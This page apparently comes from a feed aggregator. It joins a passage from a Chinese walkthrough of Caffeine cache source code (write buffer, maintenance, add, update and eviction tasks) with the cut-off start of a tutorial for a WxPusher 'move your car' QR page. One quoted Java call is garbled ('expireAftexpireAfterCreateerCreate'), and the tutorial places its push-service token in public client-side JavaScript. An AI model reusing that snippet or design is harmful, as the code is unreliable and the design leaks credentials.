到这里 MpscGrowableArrayQueue 中核心的逻辑已经讲解完了,现在我们回过头来再看一下队列扩容前后生产者和消费者是如何协同的?在扩容前,consumerBufferproducerBuffer 引用的是同一个缓冲区对象。如果发生扩容,那么生产者会创建一个新的缓冲区,并将 producerBuffer 引用指向它,此时它做了一个 非常巧妙 的操作,将 新缓冲区依然链接到旧缓冲区 上,并将触发扩容的元素对应的旧缓冲区的索引处标记为 JUMP,表示这及之后的元素已经都在新缓冲区中。此时,消费者依然会在旧缓冲区中慢慢地消费,直到遇到 JUMP 标志位,消费者就知道需要到新缓冲区中取获取元素了。因为之前生产者在扩容时对新旧缓冲区进行链接,所以消费者能够通过旧缓冲区获取到新缓冲区的引用,并变更 consumerBuffer 的引用和 consumerMask 掩码值,接下来的消费过程便和扩容前没有差别了。

scheduleAfterWrite

现在我们再回到 put 方法的逻辑中,如果向 WriterBuffer 中添加元素成功,则会调用 scheduleAfterWrite 方法,调度任务的执行:

abstract class BoundedLocalCache<K, V> extends BLCHeader.DrainStatusRef implements LocalCache<K, V> {

    final ReentrantLock evictionLock = new ReentrantLock();
    // 默认为 ForkJoinPool.commonPool()
    final Executor executor;
    // 该任务在创建缓存时已经完成初始化
    final PerformCleanupTask drainBuffersTask;
    
    // 根据状态的变化来调度执行任务
    void scheduleAfterWrite() {
        // 获取当前 drainStatus,drain 译为排空,耗尽
        int drainStatus = drainStatusOpaque();
        for (; ; ) {
            // 这里的状态机变更需要关注下
            switch (drainStatus) {
                // IDLE 表示当前无任务可做
                case IDLE:
                    // CAS 更新状态为 REQUIRED
                    casDrainStatus(IDLE, REQUIRED);
                    // 调度任务执行
                    scheduleDrainBuffers();
                    return;
                // REQUIRED 表示当前有任务需要执行
                case REQUIRED:
                    // 调度任务执行
                    scheduleDrainBuffers();
                    return;
                // PROCESSING_TO_IDLE 表示当前任务处理完成后会变成 IDLE 状态
                case PROCESSING_TO_IDLE:
                    // 又来了新的任务,则 CAS 操作将它更新为 PROCESSING_TO_REQUIRED 状态
                    if (casDrainStatus(PROCESSING_TO_IDLE, PROCESSING_TO_REQUIRED)) {
                        return;
                    }
                    drainStatus = drainStatusAcquire();
                    continue;
                    // PROCESSING_TO_REQUIRED 表示正在处理任务,处理完任务后还有任务需要处理
                case PROCESSING_TO_REQUIRED:
                    return;
                default:
                    throw new IllegalStateException("Invalid drain status: " + drainStatus);
            }
        }
    }

    // 调度执行缓冲区中的任务
    void scheduleDrainBuffers() {
        // 如果状态表示正在有任务处理则返回
        if (drainStatusOpaque() >= PROCESSING_TO_IDLE) {
            return;
        }
        // 注意这里要获取同步锁 evictionLock
        if (evictionLock.tryLock()) {
            try {
                // 获取锁后再次校验当前处理状态
                int drainStatus = drainStatusOpaque();
                if (drainStatus >= PROCESSING_TO_IDLE) {
                    return;
                }
                // 更新状态为 PROCESSING_TO_IDLE
                setDrainStatusRelease(PROCESSING_TO_IDLE);
                // 同步机制保证任何时刻只能有一个线程能够提交任务
                executor.execute(drainBuffersTask);
            } catch (Throwable t) {
                logger.log(Level.WARNING, "Exception thrown when submitting maintenance task", t);
                maintenance(/* ignored */ null);
            } finally {
                evictionLock.unlock();
            }
        }
    }

}

写后调度处理任务(scheduleAfterWrite)会根据状态选择性执行 scheduleDrainBuffers 方法,执行该方法时通过同步锁 evictionLock 保证同时只有一个线程能提交 PerformCleanupTask 任务。这个任务在创建缓存时已经被初始化完成了,每次提交任务都会被复用,接下来我们看一下这个任务的具体实现:

abstract class BoundedLocalCache<K, V> extends BLCHeader.DrainStatusRef implements LocalCache<K, V> {

    // 可重用的任务,用于执行 maintenance 方法,避免了使用 ForkJoinPool 来包装
    static final class PerformCleanupTask extends ForkJoinTask<Void> implements Runnable {
        private static final long serialVersionUID = 1L;

        final WeakReference<BoundedLocalCache<?, ?>> reference;

        PerformCleanupTask(BoundedLocalCache<?, ?> cache) {
            reference = new WeakReference<BoundedLocalCache<?, ?>>(cache);
        }

        @Override
        public boolean exec() {
            try {
                run();
            } catch (Throwable t) {
                logger.log(Level.ERROR, "Exception thrown when performing the maintenance task", t);
            }

            // Indicates that the task has not completed to allow subsequent submissions to execute
            return false;
        }

        @Override
        public void run() {
            // 获取到缓存对象
            BoundedLocalCache<?, ?> cache = reference.get();
            if (cache != null) {
                cache.performCleanUp(null);
            }
        }
        // ...
    }
}

它的实现非常简单,其中 reference 字段在调用构造方法时被赋值,引用的是缓存对象本身。当任务被执行时,调用的是 BoundedLocalCache#performCleanUp 方法:

abstract class BoundedLocalCache<K, V> extends BLCHeader.DrainStatusRef implements LocalCache<K, V> {

    final ReentrantLock evictionLock = new ReentrantLock();
    
    // 执行该任务时,也要获取同步锁,表示任务只能由一个线程来执行
    void performCleanUp(@Nullable Runnable task) {
        evictionLock.lock();
        try {
            // 执行维护任务
            maintenance(task);
        } finally {
            evictionLock.unlock();
        }
        rescheduleCleanUpIfIncomplete();
    }

    @GuardedBy("evictionLock")
    void maintenance(@Nullable Runnable task) {
        // 更新状态为执行中
        setDrainStatusRelease(PROCESSING_TO_IDLE);

        try {
            // 处理读缓冲区中的任务
            drainReadBuffer();

            // 处理写缓冲区中的任务
            drainWriteBuffer();
            if (task != null) {
                task.run();
            }

            // 处理 key 和 value 的引用
            drainKeyReferences();
            drainValueReferences();

            // 过期和驱逐策略
            expireEntries();
            evictEntries();

            // “增值” 操作,后续重点讲
            climb();
        } finally {
            // 状态不是 PROCESSING_TO_IDLE 或者无法 CAS 更新为 IDLE 状态的话,需要更新状态为 REQUIRED,该状态会再次执行维护任务
            if ((drainStatusOpaque() != PROCESSING_TO_IDLE) || !casDrainStatus(PROCESSING_TO_IDLE, IDLE)) {
                setDrainStatusOpaque(REQUIRED);
            }
        }
    }
}

注意在执行 performCleanUp 方法时,也需要获取到同步锁 evictionLock,那么任务的提交和任务的执行也是互斥的。这个执行的核心逻辑在 maintenance “维护”方法中,注意这个方法被标记了注解 @GuardedBy("evictionLock"),源码中还有多个方法也标记了该注解,执行这些方法时都要获取同步锁,这也是在提醒我们这些方法同时只有由一条线程被执行。因为目前关注的是 put 方法,所以重点先看维护方法中 drainWriteBuffer 方法处理写缓冲区中任务的逻辑:

abstract class BoundedLocalCache<K, V> extends BLCHeader.DrainStatusRef implements LocalCache<K, V> {

    static final int NCPU = Runtime.getRuntime().availableProcessors();

    static final int WRITE_BUFFER_MAX = 128 * ceilingPowerOfTwo(NCPU);

    final MpscGrowableArrayQueue<Runnable> writeBuffer;

    @GuardedBy("evictionLock")
    void drainWriteBuffer() {
        // 最大循环次数为 writeBuffer 最大容量,直至弹出元素为 null
        for (int i = 0; i <= WRITE_BUFFER_MAX; i++) {
            Runnable task = writeBuffer.poll();
            if (task == null) {
                return;
            }
            task.run();
        }
        // 更新状态为 PROCESSING_TO_REQUIRED
        setDrainStatusOpaque(PROCESSING_TO_REQUIRED);
    }
}

执行逻辑非常简单,在获取到同步锁之后,在 WriteBuffer 中获取要被执行的任务并执行。在这里我们能发现“SC 单消费者”的实现使用 同步锁的机制保证同时只能有一个消费者消费缓冲区中的任务。在上文中我们已经知道,调用 put 方法时向缓冲区 WriteBuffer 中添加的任务为 AddTask,下面我们看一下该任务的实现:

abstract class BoundedLocalCache<K, V> extends BLCHeader.DrainStatusRef implements LocalCache<K, V> {

    static final long MAXIMUM_CAPACITY = Long.MAX_VALUE - Integer.MAX_VALUE;

    final class AddTask implements Runnable {
        final Node<K, V> node;
        // 节点权重
        final int weight;

        AddTask(Node<K, V> node, int weight) {
            this.weight = weight;
            this.node = node;
        }

        @Override
        @GuardedBy("evictionLock")
        @SuppressWarnings("FutureReturnValueIgnored")
        public void run() {
            // 是否指定了驱逐策略
            if (evicts()) {
                // 更新缓存权重和窗口区权重
                setWeightedSize(weightedSize() + weight);
                setWindowWeightedSize(windowWeightedSize() + weight);
                // 更新节点的 policyWeight,该字段只有在自定了权重计算规则时才有效
                // 否则像只定义了固定容量的驱逐策略,使用默认元素权重为 1 是不需要关注该字段的
                node.setPolicyWeight(node.getPolicyWeight() + weight);

                // 检测当前总权重是否超过一半的最大容量
                long maximum = maximum();
                if (weightedSize() >= (maximum >>> 1)) {
                    // 如果超过最大容量
                    if (weightedSize() > MAXIMUM_CAPACITY) {
                        // 执行驱逐操作
                        evictEntries();
                    } else {
                        // 延迟加载频率草图 frequencySketch 数据结构,用于统计元素访问频率
                        long capacity = isWeighted() ? data.mappingCount() : maximum;
                        frequencySketch().ensureCapacity(capacity);
                    }
                }

                // 更新频率统计信息
                K key = node.getKey();
                if (key != null) {
                    // 因为频率草图数据结构具有延迟加载机制(权重超过半数)
                    // 所以实际上在元素权重还未过半未完成初始化时,调用 increment 是没有作用的
                    frequencySketch().increment(key);
                }

                // 增加未命中样本数
                setMissesInSample(missesInSample() + 1);
            }

            // 同步检测节点是否还有效
            boolean isAlive;
            synchronized (node) {
                isAlive = node.isAlive();
            }
            if (isAlive) {
                // 写后过期策略
                if (expiresAfterWrite()) {
                    writeOrderDeque().offerLast(node);
                }
                // 过期策略
                if (expiresVariable()) {
                    timerWheel().schedule(node);
                }
                // 驱逐策略
                if (evicts()) {
                    // 如果权重比配置的最大权重大
                    if (weight > maximum()) {
                        // 执行固定权重(RemovalCause.SIZE)的驱逐策略
                        evictEntry(node, RemovalCause.SIZE, expirationTicker().read());
                    }
                    // 如果权重超过窗口区最大权重,则将其放在窗口区头节点
                    else if (weight > windowMaximum()) {
                        accessOrderWindowDeque().offerFirst(node);
                    }
                    // 否则放在窗口区尾节点
                    else {
                        accessOrderWindowDeque().offerLast(node);
                    }
                }
                // 访问后过期策略
                else if (expiresAfterAccess()) {
                    accessOrderWindowDeque().offerLast(node);
                }
            }

            // 处理异步计算
            if (isComputingAsync(node)) {
                synchronized (node) {
                    if (!Async.isReady((CompletableFuture<?>) node.getValue())) {
                        long expirationTime = expirationTicker().read() + ASYNC_EXPIRY;
                        setVariableTime(node, expirationTime);
                        setAccessTime(node, expirationTime);
                        setWriteTime(node, expirationTime);
                    }
                }
            }
        }
    }
}

根据注释很容易理解该方法的作用,因为我们目前对缓存只定义了固定容量的驱逐策略,所以我们需要在看一下 evictEntry 方法:

abstract class BoundedLocalCache<K, V> extends BLCHeader.DrainStatusRef implements LocalCache<K, V> {

    final ConcurrentHashMap<Object, Node<K, V>> data;
    
    @GuardedBy("evictionLock")
    @SuppressWarnings({"GuardedByChecker", "NullAway", "PMD.CollapsibleIfStatements"})
    boolean evictEntry(Node<K, V> node, RemovalCause cause, long now) {
        K key = node.getKey();
        @SuppressWarnings("unchecked")
        V[] value = (V[]) new Object[1];
        boolean[] removed = new boolean[1];
        boolean[] resurrect = new boolean[1];
        Object keyReference = node.getKeyReference();
        RemovalCause[] actualCause = new RemovalCause[1];

        data.computeIfPresent(keyReference, (k, n) -> {
            if (n != node) {
                return n;
            }
            synchronized (n) {
                value[0] = n.getValue();

                // key 或 value 为 null,这种情况下可能使用了 Caffeine.weakKeys, Caffeine.weakValues, or Caffeine.softValues
                // 导致被垃圾回收了
                if ((key == null) || (value[0] == null)) {
                    // 标记实际失效原因为垃圾回收 
                    actualCause[0] = RemovalCause.COLLECTED;
                }
                // 如果原因为垃圾回收,记录 resurrect 复活标记为 true
                else if (cause == RemovalCause.COLLECTED) {
                    resurrect[0] = true;
                    return n;
                }
                // 否则记录入参中的原因
                else {
                    actualCause[0] = cause;
                }

                // 过期驱逐策略判断
                if (actualCause[0] == RemovalCause.EXPIRED) {
                    boolean expired = false;
                    if (expiresAfterAccess()) {
                        expired |= ((now - n.getAccessTime()) >= expiresAfterAccessNanos());
                    }
                    if (expiresAfterWrite()) {
                        expired |= ((now - n.getWriteTime()) >= expiresAfterWriteNanos());
                    }
                    if (expiresVariable()) {
                        expired |= (n.getVariableTime() <= now);
                    }
                    if (!expired) {
                        resurrect[0] = true;
                        return n;
                    }
                }
                // 固定容量驱逐策略
                else if (actualCause[0] == RemovalCause.SIZE) {
                    int weight = node.getWeight();
                    if (weight == 0) {
                        resurrect[0] = true;
                        return n;
                    }
                }

                // 通知驱逐策略监听器,调用它的方法
                notifyEviction(key, value[0], actualCause[0]);
                // 将该 key 对应的刷新策略失效
                discardRefresh(keyReference);
                // 标记该节点被驱逐
                removed[0] = true;
                // 退休准备被垃圾回收
                node.retire();
            }
            return null;
        });

        // 如果复活标记为 true 那么不被移除
        if (resurrect[0]) {
            return false;
        }

        // 节点已经要被驱逐
        // 如果在窗口区,那么直接从窗口区移除
        if (node.inWindow() && (evicts() || expiresAfterAccess())) {
            accessOrderWindowDeque().remove(node);
        }
        // 如果没在窗口区
        else if (evicts()) {
            // 在试用区直接在试用区移除
            if (node.inMainProbation()) {
                accessOrderProbationDeque().remove(node);
            }
            // 在保护区则直接从保护区移除
            else {
                accessOrderProtectedDeque().remove(node);
            }
        }
        // 将写后失效和时间轮中关于该节点的元素移除
        if (expiresAfterWrite()) {
            writeOrderDeque().remove(node);
        } else if (expiresVariable()) {
            timerWheel().deschedule(node);
        }

        // 同步机制将 node 置为 dead
        synchronized (node) {
            logIfAlive(node);
            makeDead(node);
        }

        if (removed[0]) {
            // 节点被移除监控计数和节点移除通知回调
            statsCounter().recordEviction(node.getWeight(), actualCause[0]);
            notifyRemoval(key, value[0], actualCause[0]);
        }

        return true;
    }
}

该方法比较简单,是将节点进行驱逐的逻辑,在后文中它会被多次复用,需要留一个印象。回到 AddTask 任务的逻辑中,当被添加的元素权重超过最大权重限制时会被直接移除。这种特殊情况试用于指定了权重计算策略的缓存,如果只指定了固定容量,元素权重默认为 1,所以不会直接超过最大缓存数量限制。

现在我们已经将 put 方法中向缓存中添加元素的逻辑介绍完了,接下来需要关注 put 方法中对已存在的相同 key 值元素的处理逻辑:

abstract class BoundedLocalCache<K, V> extends BLCHeader.DrainStatusRef implements LocalCache<K, V> {

    static final int MAX_PUT_SPIN_WAIT_ATTEMPTS = 1024 - 1;

    static final long EXPIRE_WRITE_TOLERANCE = TimeUnit.SECONDS.toNanos(1);
    
    final ConcurrentHashMap<Object, Node<K, V>> data;
    
    @Nullable
    V put(K key, V value, Expiry<K, V> expiry, boolean onlyIfAbsent) {
        requireNonNull(key);
        requireNonNull(value);

        Node<K, V> node = null;
        long now = expirationTicker().read();
        int newWeight = weigher.weigh(key, value);
        Object lookupKey = nodeFactory.newLookupKey(key);
        for (int attempts = 1; ; attempts++) {
            Node<K, V> prior = data.get(lookupKey);
            if (prior == null) {
                // ... 
            }

            // 元素被读到之后可能已经被驱逐了
            if (!prior.isAlive()) {
                // 自旋尝试重新从 ConcurrentHashMap 中获取,再获取时如果为 null 则执行新增逻辑
                if ((attempts & MAX_PUT_SPIN_WAIT_ATTEMPTS) != 0) {
                    Thread.onSpinWait();
                    continue;
                }
                // 如果自旋尝试后元素仍未被删除,校验元素是否处于存活状态
                // 如果处于非存活状态,那么可能这个元素已经被破坏,无法被移除,抛出异常
                data.computeIfPresent(lookupKey, (k, n) -> {
                    requireIsAlive(key, n);
                    return n;
                });
                continue;
            }

            V oldValue;
            // 新的过期时间
            long varTime;
            int oldWeight;
            boolean expired = false;
            boolean mayUpdate = true;
            boolean exceedsTolerance = false;
            // 为元素加同步锁
            synchronized (prior) {
                // 如果此时元素已经失效了,那么需要重新循环
                if (!prior.isAlive()) {
                    continue;
                }
                oldValue = prior.getValue();
                oldWeight = prior.getWeight();
                // oldValue 为 null 证明它被垃圾回收器回收了
                if (oldValue == null) {
                    // 记录元素创建后的过期时间
                    varTime = expireAfterCreate(key, value, expiry, now);
                    // 驱逐监听器回调
                    notifyEviction(key, null, RemovalCause.COLLECTED);
                }
                // 如果元素已经过期了
                else if (hasExpired(prior, now)) {
                    // 标记过期标志为 true
                    expired = true;
                    // 记录元素创建后的过期时间并回调驱逐监听器
                    varTime = expireAftexpireAfterCreateerCreate(key, value, expiry, now);
                    notifyEviction(key, oldValue, RemovalCause.EXPIRED);
                }
                // onlyInAbsent 为 true 时不会对已存在 key 的值进行修改
                else if (onlyIfAbsent) {
                    mayUpdate = false;
                    // 记录元素读后过期时间
                    varTime = expireAfterRead(prior, key, value, expiry, now);
                } else {
                    // 记录元素修改后过期时间
                    varTime = expireAfterUpdate(prior, key, value, expiry, now);
                }

                // 需要修改原有 key 的 value 值
                if (mayUpdate) {
                    exceedsTolerance =
                            // 配置了写后过期策略且已经超过写后时间的容忍范围
                            (expiresAfterWrite() && (now - prior.getWriteTime()) > EXPIRE_WRITE_TOLERANCE)
                                    // 或者配置了可变时间过期策略同样判断是否超过时间的容忍范围
                                    || (expiresVariable() && Math.abs(varTime - prior.getVariableTime()) > EXPIRE_WRITE_TOLERANCE);

                    // 更新值,更新权重,更新写时间
                    prior.setValue(value, valueReferenceQueue());
                    prior.setWeight(newWeight);
                    setWriteTime(prior, now);

                    // 写后刷新策略失效
                    discardRefresh(prior.getKeyReference());
                }

                // 更新过期时间
                setVariableTime(prior, varTime);
                // 更新访问时间
                setAccessTime(prior, now);
            }

            // 根据不同的情况回调不同的监听器
            if (expired) {
                notifyRemoval(key, oldValue, RemovalCause.EXPIRED);
            } else if (oldValue == null) {
                notifyRemoval(key, /* oldValue */ null, RemovalCause.COLLECTED);
            } else if (mayUpdate) {
                notifyOnReplace(key, oldValue, value);
            }

            // 计算写后权重变化
            int weightedDifference = mayUpdate ? (newWeight - oldWeight) : 0;
            // 如果 oldValue 已经被回收 或 权重修改前后发生变更 或 已经过期,添加更新任务
            if ((oldValue == null) || (weightedDifference != 0) || expired) {
                afterWrite(new UpdateTask(prior, weightedDifference));
            }
            // 如果超过了时间容忍范围,添加更新任务
            else if (!onlyIfAbsent && exceedsTolerance) {
                afterWrite(new UpdateTask(prior, weightedDifference));
            } else {
                // 没有超过时间容忍范围,更新写时间
                if (mayUpdate) {
                    setWriteTime(prior, now);
                }
                // 处理读后操作
                afterRead(prior, now, /* recordHit */ false);
            }

            return expired ? null : oldValue;
        }
    }
}

对于已有元素的变更,会对节点添加同步锁,更新它的权重等一系列变量,如果超过 1s 的时间容忍范围,则会添加 UpdateTask 更新任务,至于处理读后操作 afterRead 在读方法中再去介绍。接下来我们需要重新再看一下 afterWrite 方法,其中有部分我们在上文中没有介绍的逻辑:

abstract class BoundedLocalCache<K, V> extends BLCHeader.DrainStatusRef implements LocalCache<K, V> {

    final ReentrantLock evictionLock;
    
    void afterWrite(Runnable task) {
        // 这段逻辑我们在看 AddTask 的逻辑时已经看过了,所以略过
        for (int i = 0; i < WRITE_BUFFER_RETRIES; i++) {
            if (writeBuffer.offer(task)) {
                scheduleAfterWrite();
                return;
            }
            scheduleDrainBuffers();
            Thread.onSpinWait();
        }

        // 以下逻辑用于解决在重试了 100 次后仍然写入失败的问题,它会尝试获取 evictionLock 同步锁
        // 直接同步执行“维护”方法并执行当前任务,但是它并无法解决某个写入操作执行时间很长的问题
        // 发生这种情况的原因可能是由于执行器的所有线程都很忙(可能是写入此缓存),写入速率大大超过了消耗速率,优先级反转,或者执行器默默地丢弃了维护任务
        lock();
        try {
            maintenance(task);
        } catch (RuntimeException e) {
            logger.log(Level.ERROR, "Exception thrown when performing the maintenance task", e);
        } finally {
            evictionLock.unlock();
        }
        // 重新调度异步维护任务,确保维护操作能及时执行
        rescheduleCleanUpIfIncomplete();
    }

    void lock() {
        long remainingNanos = WARN_AFTER_LOCK_WAIT_NANOS;
        long end = System.nanoTime() + remainingNanos;
        boolean interrupted = false;
        try {
            for (;;) {
                try {
                    if (evictionLock.tryLock(remainingNanos, TimeUnit.NANOSECONDS)) {
                        return;
                    }
                    logger.log(Level.WARNING, "The cache is experiencing excessive wait times for acquiring "
                            + "the eviction lock. This may indicate that a long-running computation has halted "
                            + "eviction when trying to remove the victim entry. Consider using AsyncCache to "
                            + "decouple the computation from the map operation.", new TimeoutException());
                    evictionLock.lock();
                    return;
                } catch (InterruptedException e) {
                    remainingNanos = end - System.nanoTime();
                    interrupted = true;
                }
            }
        } finally {
            if (interrupted) {
                Thread.currentThread().interrupt();
            }
        }
    }

    // 调用同步的维护方法时,可能发生获取锁超时,那么再重新开启一个异步维护调度
    void rescheduleCleanUpIfIncomplete() {
        // 校验是否有任务需要被执行
        if (drainStatusOpaque() != REQUIRED) {
            return;
        }
        
        // 默认线程池调度任务执行,这个方法我们在上文中已经详细介绍过
        if (executor == ForkJoinPool.commonPool()) {
            scheduleDrainBuffers();
            return;
        }
        
        // 如果自定义了线程池,那么会使用自定义的线程池进行处理
        var pacer = pacer();
        if ((pacer != null) && !pacer.isScheduled() && evictionLock.tryLock()) {
            try {
                if ((drainStatusOpaque() == REQUIRED) && !pacer.isScheduled()) {
                    pacer.schedule(executor, drainBuffersTask, expirationTicker().read(), Pacer.TOLERANCE);
                }
            } finally {
                evictionLock.unlock();
            }
        }
    }
}

写后操作除了在添加任务到缓冲区成功后会执行维护方法,添加失败(证明写入操作非常频繁)依然会尝试同步执行维护方法和发起异步维护,用于保证缓存中的任务能够被及时执行,使缓存中元素都处于“预期”状态中。接下来我们在看一下 UpdateTask 更新任务的逻辑:

abstract class BoundedLocalCache<K, V> extends BLCHeader.DrainStatusRef implements LocalCache<K, V> {

    final class UpdateTask implements Runnable {
        final int weightDifference;
        final Node<K, V> node;

        public UpdateTask(Node<K, V> node, int weightDifference) {
            this.weightDifference = weightDifference;
            this.node = node;
        }

        @Override
        @GuardedBy("evictionLock")
        public void run() {
            // 写后过期和自定义过期逻辑
            if (expiresAfterWrite()) {
                reorder(writeOrderDeque(), node);
            } else if (expiresVariable()) {
                timerWheel().reschedule(node);
            }
            // 指定了驱逐策略
            if (evicts()) {
                // 变更节点权重
                int oldWeightedSize = node.getPolicyWeight();
                node.setPolicyWeight(oldWeightedSize + weightDifference);
                // 如果是窗口区节点
                if (node.inWindow()) {
                    // 更新窗口区权重
                    setWindowWeightedSize(windowWeightedSize() + weightDifference);
                    // 节点权重超过最大权重限制,直接驱逐
                    if (node.getPolicyWeight() > maximum()) {
                        evictEntry(node, RemovalCause.SIZE, expirationTicker().read());
                    }
                    // 节点权重比窗口区最大值小
                    else if (node.getPolicyWeight() <= windowMaximum()) {
                        onAccess(node);
                    }
                    // 窗口区包含该节点且该节点的权重大于窗口最大权重,则放到头节点
                    else if (accessOrderWindowDeque().contains(node)) {
                        accessOrderWindowDeque().moveToFront(node);
                    }
                }
                // 如果是试用区节点
                else if (node.inMainProbation()) {
                    // 节点权重比最大权重限制小
                    if (node.getPolicyWeight() <= maximum()) {
                        onAccess(node);
                    }
                    // 否则将该节点驱逐
                    else {
                        evictEntry(node, RemovalCause.SIZE, expirationTicker().read());
                    }
                }
                // 如果是保护区节点
                else if (node.inMainProtected()) {
                    // 更新保护区权重
                    setMainProtectedWeightedSize(mainProtectedWeightedSize() + weightDifference);
                    // 同样的逻辑
                    if (node.getPolicyWeight() <= maximum()) {
                        onAccess(node);
                    } else {
                        evictEntry(node, RemovalCause.SIZE, expirationTicker().read());
                    }
                }

                // 更新缓存权重大小
                setWeightedSize(weightedSize() + weightDifference);
                // 更新完成后超过最大权重限制执行驱逐操作
                if (weightedSize() > MAXIMUM_CAPACITY) {
                    evictEntries();
                }
            }
            // 配置了访问后过期
            else if (expiresAfterAccess()) {
                onAccess(node);
            }
        }
    }

    @GuardedBy("evictionLock")
    void onAccess(Node<K, V> node) {
        if (evicts()) {
            K key = node.getKey();
            if (key == null) {
                return;
            }
            // 更新访问频率
            frequencySketch().increment(key);
            // 如果节点在窗口区,则将其移动到尾节点
            if (node.inWindow()) {
                reorder(accessOrderWindowDeque(), node);
            }
            // 在试用区的节点执行 reorderProbation 方法,可能会将该节点从试用区晋升到保护区
            else if (node.inMainProbation()) {
                reorderProbation(node);
            }
            // 否则移动到保护区的尾结点
            else {
                reorder(accessOrderProtectedDeque(), node);
            }
            // 更新命中量
            setHitsInSample(hitsInSample() + 1);
        }
        // 配置了访问过期策略
        else if (expiresAfterAccess()) {
            reorder(accessOrderWindowDeque(), node);
        }
        // 配置了自定义时间过期策略
        if (expiresVariable()) {
            timerWheel().reschedule(node);
        }
    }

    static <K, V> void reorder(LinkedDeque<Node<K, V>> deque, Node<K, V> node) {
        // 如果节点存在,将其移动到尾结点
        if (deque.contains(node)) {
            deque.moveToBack(node);
        }
    }

    @GuardedBy("evictionLock")
    void reorderProbation(Node<K, V> node) {
        // 检查试用区是否包含该节点,不包含则证明已经被移除,则不处理
        if (!accessOrderProbationDeque().contains(node)) {
            return;
        }
        // 检查节点的权重是否超过保护区最大值
        else if (node.getPolicyWeight() > mainProtectedMaximum()) {
            // 如果超过,将该节点移动到 试用区 尾巴节点,保证超重的节点不会被移动到保护区
            reorder(accessOrderProbationDeque(), node);
            return;
        }

        // 更新保护区权重大小
        setMainProtectedWeightedSize(mainProtectedWeightedSize() + node.getPolicyWeight());
        // 在试用区中移除该节点
        accessOrderProbationDeque().remove(node);
        // 在保护区尾节点中添加
        accessOrderProtectedDeque().offerLast(node);
        // 将该节点标记为保护区节点
        node.makeMainProtected();
    }
}

UpdateTask 修改任务负责变更权重值,并更新节点所在队列的顺序和访问频率,这里我们也能发现,这三个区域的队列采用了 LRU 算法,一般情况下,最新被访问的元素会被移动到尾节点。到现在,向有固定容量限制的缓存中调用 put 方法添加元素的逻辑基本已经介绍完了,目前对 Caffeine 缓存的了解程度如下所示:

caffeine-第 2 页.drawio.png

put 添加元素时会先直接添加到 ConcurrentHashMap 中,并在 WriteBuffer 中添加 AddTask/UpdateTask 任务,WriteBuffer 是一个 MPSC 的缓冲区,添加成功后会有加锁的同步机制在默认的 ForkJoinPool.commonPool() 线程池中提交 PerformCleanupTask 任务,PerformCleanupTask 任务的主要作用是执行 maintenance 维护方法,该方法执行前需要先获取同步锁,单线程消费 WriteBuffer 中的任务。执行 AddTask 任务时会将元素先添加到窗口区,如果是 UpdateTask,它会修改三个不同区域的双端队列,这些队列采用LRU算法,最新被访问的元素会被放在尾节点处,并且试用区的元素被访问后会被晋升到保护区尾节点,元素对应的访问频率也会在频率草图中更新,如果被添加的节点权重超过缓存最大权重会直接被驱逐。(目前维护方法中除了 drainWriteBuffer 方法外,其他步骤还未详细解释,之后会在后文中不断完善)


点击继续阅读 缓存之美:万文详解 Caffeine 实现原理(下)

by 方圆想当图灵 at January 20, 2025 02:41 AM

juejin frontend

云服务器部署扫码挪车程序

最近比较忙,没时间搞新功能,不过发现一个在CloudFlare的Worker运行的挪车程序——用Workers免服务器部署挪车二维码,可微信通知、拨打电话-缙哥哥,发现还不错,就改成了html项目部署到了自己的服务器上给家里人用了。

本教程基于雨云服务器实现,建议选择带有宝塔面板的系统,方便进行操作。

另外欢迎来我的博客火柴人儿的小站

创建WxPusher应用

WxPusher微信消息推送服务

  1. 创建新应用

    image-20250120092253051

  2. 应用信息如下,随意填写即可

    image-20250120092356324

  3. 创建成功时会显示APP_TOKEN,只会显示一次,一定要记下来,之后会用到

    image-20250120092456891

  4. 微信扫描二维码关注这个应用,之后其他人扫码挪车的消息就会通过这个应用发给你

    image-20250120092556426
  5. 关注之后在用户列表里就能看到了,记住这里的UID,之后会用到

    image-20250120092733420

编写HTML项目

我已经把项目上传到gitee了,可以直接拉取,或者自行按下面的步骤创建。 项目地址:nuoche-html: js实现的挪车功能,基于bgwu666 大佬的cloudflare的worker项目,将其转为了html项目方便在自己的服务器运行

  1. 本地创建文件夹,进入文件夹新建记事本文件,将以下内容复制进去后,将appToken、uids、tel处的值改为你自己的,之后将文件改名为nuoche.js

    function getLastNotifyTime() {
    return localStorage.getItem('lastNotifyTime') || 0;
    }
    
    function setLastNotifyTime(time) {
    localStorage.setItem('lastNotifyTime', time);
    }
    
    function canNotify() {
    const lastNotifyTime = getLastNotifyTime();
    const currentTime = Date.now();
    const fiveMinutesAgo = currentTime - 5 * 60 * 1000; //每5分钟可提醒一次,可按需修改
    return lastNotifyTime < fiveMinutesAgo;
    }
    
    function notifyOwner() {
    if (!canNotify()) {
    alert("5分钟后等待时间未结束,暂不可通知。");
    return;
    }
    
    fetch("https://wxpusher.zjiecode.com/api/send/message", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({
    appToken: "AT_",
    content: "您好,有人需要您挪车,请及时处理。",
    contentType: 1,
    uids: ["UID_"] // 注意:如果你的 UID 是一个数组,确保它是字符串数组的形式
    })
    })
    .then(response => response.json())
    .then(data => {
    if (data.code === 1000) {
    alert("通知已发送!");
    setLastNotifyTime(Date.now());
    } else {
    alert("通知发送失败,请稍后重试。");
    }
    })
    .catch(error => {
    console.error("Error sending notification:", error);
    alert("通知发送出错,请检查网络连接。");
    });
    }
    // 拨打车主电话
    function callOwner() {
      window.location.href = "tel:你的手机号";
    }
    

    image-20250120092830530

  2. 新建记事本,将以下内容复制进去,并改名为index.html

    <!DOCTYPE html>
    <html lang="zh-CN">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>通知车主挪车</title>
        <style>
            * { box-sizing: border-box; margin: 0; padding: 0; }
                body { font-family: Arial, sans-serif; display: flex; align-items: center; justify-content: center; height: 100vh; background: #f0f2f5; color: #333; }
                .container { text-align: center; padding: 20px; width: 100%; max-width: 400px; border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); background: #fff; }
                h1 { font-size: 24px; margin-bottom: 20px; color: #007bff; }
                p { margin-bottom: 20px; font-size: 16px; color: #555; }
                button { 
                  width: 100%; 
                  padding: 15px; 
                  margin: 10px 0; 
                  font-size: 18px; 
                  font-weight: bold; 
                  color: #fff; 
                  border: none; 
                  border-radius: 6px; 
                  cursor: pointer; 
                  transition: background 0.3s; 
                }
                .notify-btn { background: #28a745; }
                .notify-btn:hover { background: #218838; }
                .call-btn { background: #17a2b8; }
                .call-btn:hover { background: #138496; }
        </style>
    </head>
    <body>
        <div class="container">
